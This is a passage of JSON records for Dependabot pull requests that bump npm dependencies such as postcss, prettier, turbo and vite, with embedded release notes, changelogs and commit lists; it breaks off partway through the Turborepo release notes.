href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.15...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.8.4 to 3.9.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.5\u003c/h2\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.5/CHANGELOG.md#395\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular: Format \u003ccode\u003e@content(name)\u003c/code\u003e -\u0026gt; \u003ccode\u003e@content (name)\u003c/code\u003e to align with other block syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19499\"\u003e#19499\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.4/CHANGELOG.md#394\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix unexpected removal of characters in liquid syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19489\"\u003eprettier/prettier#19489\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTypeScript: Allow decorators to be used with declare on class fields (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19492\"\u003eprettier/prettier#19492\u003c/a\u003e by \u003ca href=\"https://github.com/evoactivity\"\u003e\u003ccode\u003e@​evoactivity\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.3/CHANGELOG.md#393\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Fix ignored file has been cached incorrectly (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19483\"\u003e#19483\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.1/CHANGELOG.md#391\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.8.5...3.9.0\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://prettier.io/blog/2026/06/27/3.9.0\"\u003ePrettier 3.9: Major parser upgrades and Formatting improvements\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Flow variance annotation print (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19022\"\u003e#19022\u003c/a\u003e by \u003ca href=\"https://github.com/marcoww6\"\u003e\u003ccode\u003e@​marcoww6\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.5/CHANGELOG.md#385\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.5\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.4...3.9.5\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Cap ordered list mark at 999,999,999 (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19351\"\u003e#19351\u003c/a\u003e by \u003ca href=\"https://github.com/tats-u\"\u003e\u003ccode\u003e@​tats-u\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eCommonMark parsers only support ordered list item numbers up to 999,999,999.\u003c/p\u003e\n\u003cp\u003eWith this change, Prettier now caps the ordered list item number at 999,999,999 to ensure that the output is correctly parsed as an ordered list by CommonMark parsers. Numbers larger than 999,999,999 are not parsed as list item numbers and are left unchanged in the output:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n999999998. text\n999999998. text\n999999998. text\n999999998. text\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n999999998. text\n999999999. text\n1000000000. text\n1000000001. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n999999998. text\n999999999. text\n999999999. text\n999999999. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Avoid corrupting empty link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19487\"\u003e#19487\u003c/a\u003e by \u003ca href=\"https://github.com/andersk\"\u003e\u003ccode\u003e@​andersk\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eDo not remove \u003ccode\u003e\u0026lt;\u0026gt;\u003c/code\u003e from an inline link or image with an empty URL and a title, as this removal would change its interpretation.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n[link](https://github.com/prettier/prettier/blob/main/\u0026lt;\u0026gt; \u0026quot;title\u0026quot;)\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n[link](\u003ca href=\"https://github.com/prettier/prettier/blob/main/\"\u003ehttps://github.com/prettier/prettier/blob/main/\u003c/a\u003e \u0026quot;title\u0026quot;)\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/b6c7d1806807162658fd5694d002b54b778c3756\"\u003e\u003ccode\u003eb6c7d18\u003c/code\u003e\u003c/a\u003e Release 3.9.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cd54ccc7288f2a4585ba5bf96883e2ed3b18e781\"\u003e\u003ccode\u003ecd54ccc\u003c/code\u003e\u003c/a\u003e Avoid corrupting empty Markdown link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19487\"\u003e#19487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/2bb67ce8cd326dbaccbdec97e7578985f6009a14\"\u003e\u003ccode\u003e2bb67ce\u003c/code\u003e\u003c/a\u003e Preserving comments' \u003ccode\u003eplacement\u003c/code\u003e property (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19567\"\u003e#19567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/91bcac88ec1d784767ebbf5ec4686a5dbf37c3c1\"\u003e\u003ccode\u003e91bcac8\u003c/code\u003e\u003c/a\u003e Add more tests for comment-only object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19587\"\u003e#19587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cbee7377a1875686558bfc9416b789d66771d9e7\"\u003e\u003ccode\u003ecbee737\u003c/code\u003e\u003c/a\u003e Remove space in empty object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19583\"\u003e#19583\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/6394c732090efdf7798e0c8dc44c46583b4131c3\"\u003e\u003ccode\u003e6394c73\u003c/code\u003e\u003c/a\u003e Align empty module declaration with TS (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19568\"\u003e#19568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/a4e6f7a0264bad45f3c153773111f60a5d406d55\"\u003e\u003ccode\u003ea4e6f7a\u003c/code\u003e\u003c/a\u003e Prevent the addition of space in \u003ccode\u003etype()\u003c/code\u003e with \u003ccode\u003e+\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19516\"\u003e#19516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/3d063b57b1a2fdc660341b6e1c719e09997cc72c\"\u003e\u003ccode\u003e3d063b5\u003c/code\u003e\u003c/a\u003e Ignore dangling comments when checking type parameter comments (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19572\"\u003e#19572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/908503e9ee02718ef0ec21a023f2c0fd5fb00603\"\u003e\u003ccode\u003e908503e\u003c/code\u003e\u003c/a\u003e Handle dangling comments in \u003ccode\u003eSwitchStatement\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19581\"\u003e#19581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/943a475c3592149aad6062ad235338da548365ea\"\u003e\u003ccode\u003e943a475\u003c/code\u003e\u003c/a\u003e Angular: Support expression for exhaustive typechecking (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19571\"\u003e#19571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.8.4...3.9.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/WILLIAMMDN/daemon/pull/13","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/WILLIAMMDN%2Fdaemon/issues/13","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/13/packages"},{"uuid":"4888105185","node_id":"PR_kwDORCcskM7xzOBQ","number":289,"state":"open","title":"chore(deps): bump the patch-updates group across 1 directory with 11 updates","user":"dependabot[bot]","labels":["dependencies","dependabot"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-15T00:16:46.000Z","updated_at":"2026-07-15T00:19:59.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"patch-updates","update_count":11,"packages":[{"name":"@turbo/gen","old_version":"2.10.3","new_version":"2.10.5","repository_url":"https://github.com/vercel/turborepo"},{"name":"turbo","old_version":"2.10.3","new_version":"2.10.5","repository_url":"https://github.com/vercel/turborepo"},{"name":"astro","old_version":"7.0.6","new_version":"7.0.9","repository_url":"https://github.com/withastro/astro"},{"name":"react-native-worklets","old_version":"0.10.1","new_version":"0.10.2","repository_url":"https://github.com/software-mansion/react-native-reanimated"},{"name":"@upstash/qstash","old_version":"2.11.1","new_version":"2.11.2","repository_url":"https://github.com/upstash/qstash-js"},{"name":"radix-ui","old_version":"1.6.1","new_version":"1.6.2","repository_url":"https://github.com/radix-ui/primitives"},{"name":"eslint-plugin-turbo","old_version":"2.10.3","new_version":"2.10.5","repository_url":"https://github.com/vercel/turborepo"},{"name":"postcss","old_version":"8.5.16","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"@eslint/js","old_version":"9.39.4","new_version":"9.39.5","repository_url":"https://github.com/eslint/eslint"},{"name":"@types/node","old_version":"24.13.2","new_version":"24.13.3","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"vite","old_version":"8.1.3","new_version":"8.1.4","repository_url":"https://github.com/vitejs/vite"}],"path":null,"ecosystem":"npm"},"body":"Bumps the patch-updates group with 11 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@turbo/gen](https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen) | `2.10.3` | `2.10.5` |\n| [turbo](https://github.com/vercel/turborepo) | `2.10.3` | `2.10.5` |\n| [astro](https://github.com/withastro/astro/tree/HEAD/packages/astro) | `7.0.6` | `7.0.9` |\n| [react-native-worklets](https://github.com/software-mansion/react-native-reanimated/tree/HEAD/packages/react-native-worklets) | `0.10.1` | `0.10.2` |\n| [@upstash/qstash](https://github.com/upstash/qstash-js) | `2.11.1` | `2.11.2` |\n| [radix-ui](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/radix-ui) | `1.6.1` | `1.6.2` |\n| [eslint-plugin-turbo](https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo) | `2.10.3` | `2.10.5` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.16` | `8.5.19` |\n| [@eslint/js](https://github.com/eslint/eslint/tree/HEAD/packages/js) | `9.39.4` | `9.39.5` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `24.13.2` | `24.13.3` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.1.3` | `8.1.4` |\n\n\nUpdates `@turbo/gen` from 2.10.3 to 2.10.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/turborepo/releases\"\u003e@​turbo/gen's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.10.5\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Evaluate simple include globs without wax compilation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13285\"\u003evercel/turborepo#13285\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Dogfood native Cargo support in this repository by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13283\"\u003evercel/turborepo#13283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13286\"\u003evercel/turborepo#13286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove dead sccache configuration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13289\"\u003evercel/turborepo#13289\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Serve the Remote Cache as an sccache backend for Cargo tasks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13288\"\u003evercel/turborepo#13288\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Reject output path traversal by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13290\"\u003evercel/turborepo#13290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Disable the sccache proxy when remote cache use is off by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13291\"\u003evercel/turborepo#13291\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Embed sccache so the Cargo compile cache needs no installation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13293\"\u003evercel/turborepo#13293\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.1 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13294\"\u003evercel/turborepo#13294\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Pin a flag-aware turbo canary for the eve-agent deployment by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13295\"\u003evercel/turborepo#13295\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make the sccache compile cache actually cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13296\"\u003evercel/turborepo#13296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.2 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13297\"\u003evercel/turborepo#13297\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Stop ambient CARGO_INCREMENTAL from suppressing compile cache injection by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13298\"\u003evercel/turborepo#13298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Never let compile cache storage failures fail the build by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13299\"\u003evercel/turborepo#13299\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Add outputs path-traversal negative-case regression tests by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13300\"\u003evercel/turborepo#13300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.3 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13302\"\u003evercel/turborepo#13302\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Authenticate to Remote Cache via OIDC token exchange by \u003ca 